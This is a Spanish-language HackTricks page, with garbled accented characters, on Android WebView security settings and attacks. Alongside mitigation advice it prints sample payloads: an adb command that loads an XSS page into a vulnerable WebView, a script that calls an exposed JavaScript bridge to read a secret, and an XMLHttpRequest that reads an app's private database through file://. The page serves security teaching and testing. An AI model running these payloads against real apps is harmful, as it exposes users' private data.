Webview Attacks

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Gu铆a sobre Configuraciones y Seguridad de WebView

Descripci贸n General de las Vulnerabilidades de WebView

Un aspecto cr铆tico del desarrollo en Android implica el manejo correcto de WebViews. Esta gu铆a destaca configuraciones clave y pr谩cticas de seguridad para mitigar los riesgos asociados con el uso de WebView.

WebView Example

Acceso a Archivos en WebViews

Por defecto, los WebViews permiten el acceso a archivos. Esta funcionalidad se controla mediante el m茅todo setAllowFileAccess(), disponible desde el nivel de API 3 de Android (Cupcake 1.5). Las aplicaciones con el permiso android.permission.READ_EXTERNAL_STORAGE pueden leer archivos del almacenamiento externo utilizando un esquema de URL de archivo (file://path/to/file).

Caracter铆sticas Obsoletas: Acceso Universal y Acceso a Archivos Desde URLs

  • Acceso Universal Desde URLs de Archivos: Esta caracter铆stica obsoleta permit铆a solicitudes de origen cruzado desde URLs de archivos, lo que representaba un riesgo de seguridad significativo debido a posibles ataques XSS. La configuraci贸n predeterminada est谩 deshabilitada (false) para aplicaciones que apuntan a Android Jelly Bean y versiones m谩s recientes.
  • Para verificar esta configuraci贸n, utiliza getAllowUniversalAccessFromFileURLs().
  • Para modificar esta configuraci贸n, utiliza setAllowUniversalAccessFromFileURLs(boolean).
  • Acceso a Archivos Desde URLs de Archivos: Esta caracter铆stica, tambi茅n obsoleta, controlaba el acceso al contenido desde otras URLs de esquema de archivo. Al igual que el acceso universal, su configuraci贸n predeterminada est谩 deshabilitada para mejorar la seguridad.
  • Utiliza getAllowFileAccessFromFileURLs() para verificar y setAllowFileAccessFromFileURLs(boolean) para establecer.

Carga Segura de Archivos

Para deshabilitar el acceso al sistema de archivos mientras se accede a activos y recursos, se utiliza el m茅todo setAllowFileAccess(). Con Android R y versiones superiores, la configuraci贸n predeterminada es false.

  • Verifica con getAllowFileAccess().
  • Habilita o deshabilita con setAllowFileAccess(boolean).

WebViewAssetLoader

La clase WebViewAssetLoader es el enfoque moderno para cargar archivos locales. Utiliza URLs http(s) para acceder a activos y recursos locales, aline谩ndose con la pol铆tica de Same-Origin, facilitando as铆 la gesti贸n de CORS.

loadUrl

Esta es una funci贸n com煤n utilizada para cargar URLs arbitrarias en un webview:

java
webview.loadUrl("<url here>")

Por supuesto, un atacante potencial nunca deber铆a poder controlar la URL que una aplicaci贸n va a cargar.

Manejo de JavaScript y Esquema de Intent

  • JavaScript: Desactivado por defecto en WebViews, se puede habilitar a trav茅s de setJavaScriptEnabled(). Se recomienda precauci贸n, ya que habilitar JavaScript sin las salvaguardias adecuadas puede introducir vulnerabilidades de seguridad.
  • Esquema de Intent: Los WebViews pueden manejar el esquema intent, lo que puede llevar a exploits si no se gestiona cuidadosamente. Una vulnerabilidad de ejemplo involucr贸 un par谩metro de WebView expuesto "support_url" que podr铆a ser explotado para ejecutar ataques de scripting entre sitios (XSS).

Vulnerable WebView

Ejemplo de explotaci贸n usando adb:

bash
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView 鈥揺s support_url "https://example.com/xss.html"

Javascript Bridge

Una caracter铆stica proporcionada por Android que permite a JavaScript en un WebView invocar funciones nativas de la aplicaci贸n Android. Esto se logra utilizando el m茅todo addJavascriptInterface, que integra JavaScript con funcionalidades nativas de Android, denominado como un WebView JavaScript bridge. Se recomienda precauci贸n, ya que este m茅todo permite que todas las p谩ginas dentro del WebView accedan al objeto de la Interfaz JavaScript registrada, lo que representa un riesgo de seguridad si se expone informaci贸n sensible a trav茅s de estas interfaces.

  • Se requiere extrema precauci贸n para las aplicaciones que apuntan a versiones de Android anteriores a 4.2 debido a una vulnerabilidad que permite la ejecuci贸n remota de c贸digo a trav茅s de JavaScript malicioso, explotando la reflexi贸n.

Implementando un JavaScript Bridge

  • Las interfaces de JavaScript pueden interactuar con el c贸digo nativo, como se muestra en los ejemplos donde un m茅todo de clase se expone a JavaScript:
javascript
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
  • JavaScript Bridge se habilita al agregar una interfaz al WebView:
javascript
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()
  • La explotaci贸n potencial a trav茅s de JavaScript, por ejemplo, mediante un ataque XSS, permite la llamada a m茅todos Java expuestos:
html
<script>
alert(javascriptBridge.getSecret())
</script>
  • Para mitigar riesgos, restringe el uso del puente JavaScript al c贸digo enviado con el APK y evita cargar JavaScript de fuentes remotas. Para dispositivos m谩s antiguos, establece el nivel m铆nimo de API en 17.

Ejecuci贸n Remota de C贸digo Basada en Reflexi贸n (RCE)

  • Un m茅todo documentado permite lograr RCE a trav茅s de reflexi贸n ejecutando una carga 煤til espec铆fica. Sin embargo, la anotaci贸n @JavascriptInterface previene el acceso no autorizado a m茅todos, limitando la superficie de ataque.

Depuraci贸n Remota

  • La depuraci贸n remota es posible con Chrome Developer Tools, lo que permite la interacci贸n y la ejecuci贸n arbitraria de JavaScript dentro del contenido de WebView.

Habilitando la Depuraci贸n Remota

  • La depuraci贸n remota se puede habilitar para todos los WebViews dentro de una aplicaci贸n mediante:
java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}
  • Para habilitar condicionalmente la depuraci贸n seg煤n el estado de depuraci贸n de la aplicaci贸n:
java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}

Exfiltrar archivos arbitrarios

  • Demuestra la exfiltraci贸n de archivos arbitrarios utilizando un XMLHttpRequest:
javascript
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)

Referencias

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks